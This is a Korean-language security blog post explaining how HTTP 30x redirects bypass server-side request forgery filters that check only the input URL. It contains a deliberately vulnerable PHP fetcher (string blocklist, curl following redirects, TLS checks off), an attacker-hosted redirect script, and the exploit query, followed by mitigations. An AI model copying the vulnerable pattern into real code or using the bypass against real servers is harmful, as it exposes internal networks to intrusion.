SSRF with 30x redirects
오늘도 SSRF 우회 패턴 정리해봅니다. 자주 쓰던 방법 중 하나인데 최근에 제대로 먹혀서 기분이 좋네요. HTTP Redirect를 이용한 우회 방법입니다.
What is HTTP Redirect?
HTTP Redirect는 HTTP를 사용하는 웹 서비스에서 페이지를 이동하기 위한 Status 코드이자 처리 방식입니다. 이에 대한 내용은 RFC 7231과 RFC 7538에서 확인하실 수 있습니다.
정리하자면 302, 301 Response 및 Location 헤더 등으로 HTTP 페이지가 렌더링되기 전에 다른 페이지로 이동되는 걸 의미합니다.
HTTP Status Code Temporary / Permanent Cacheable Method
301 Permanent yes GET / POST may change
302 Temporary not by default GET / POST may change
303 Temporary never always GET
307 Temporary not by default may not change
308 Permanent by default may not change
Bypass SSRF Protection
한가지 조건이 있습니다. 검증 로직이 URL 패턴이나 도메인 정보를 보고있을 때, 즉 Redirect 처리를 하지 않은 상태에서 검증하는 경우 우회할 수 있는 방법으로 쓰입니다. 예를들어 이런 코드가 있다고 칩시다.
<?php
function protect_ssrf($data){
if(strpos($data,"www.hahwul.com") !== false){
exit(); // url에 www.hahwul.com이 있으면 차단
}
}
function getHtml($url, $post = null) {
protect_ssrf($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if(!empty($post)) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
echo getHtml($_GET['q']);
?>
정상 로드
차단되어 로드되지 않음
이런 경우에 아래처럼 hahwul.com
이 들어간 도메인은 exit()
구문으로 인해 contents를 들고오지 못합니다. 일반적인 경우에는 내부망(사설대역), 내부 도메인 등의 데이터로 검증하고 있겠죠. 저 코드는 웹 요청을 다 따라가지 않고 요청전에 입력값으로만 검증하기 떄문에 아래 방법으로 우회할 수 있습니다. 아래와 같이 HTTP Redirect 코드를 공격자 서버에 두고..
<?php
header('Location: https://www.hahwul.com');
?>
실제로 이 페이지는 접근하게 되면 이런 Response가 발생하겠죠.
HTTP/1.1 302 Found
Server: nginx
Date: Fri, 22 Feb 2019 23:11:55 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Location: https://www.hahwul.com
SSRF 취약점이 있는 저 페이지도 위에 url을 접근했을 떄 동일한 결과를 받을겁니다. 대신 검증 로직 이후에 Location 헤더를 따라가기 떄문에 www.hahwul.com에 대한 검증 구간이 있어도 정상적으로 불러올 수 있습니다.
?q=http://your_domain/hr.php
Mitigation
Network Sandboxing
다른 서비스로 접근이 필요한 앱의 구동 위치를 내부망에서 접근할 수 없는 구역에 위치하는 방법이 가장 효과적입니다. 이러한 보호 조치는 기본적인 SSRF는 물론 Redirect나 다른 우회 기법을 이용한 SSRF 또한 효과적으로 막을 수 있습니다.
Validation to redirects
네트워크 레벨의 격리가 어렵다면 Redirect를 모두 따라간 후 최종 Endpoint에서 IP를 검증하여 대응할 수 있습니다.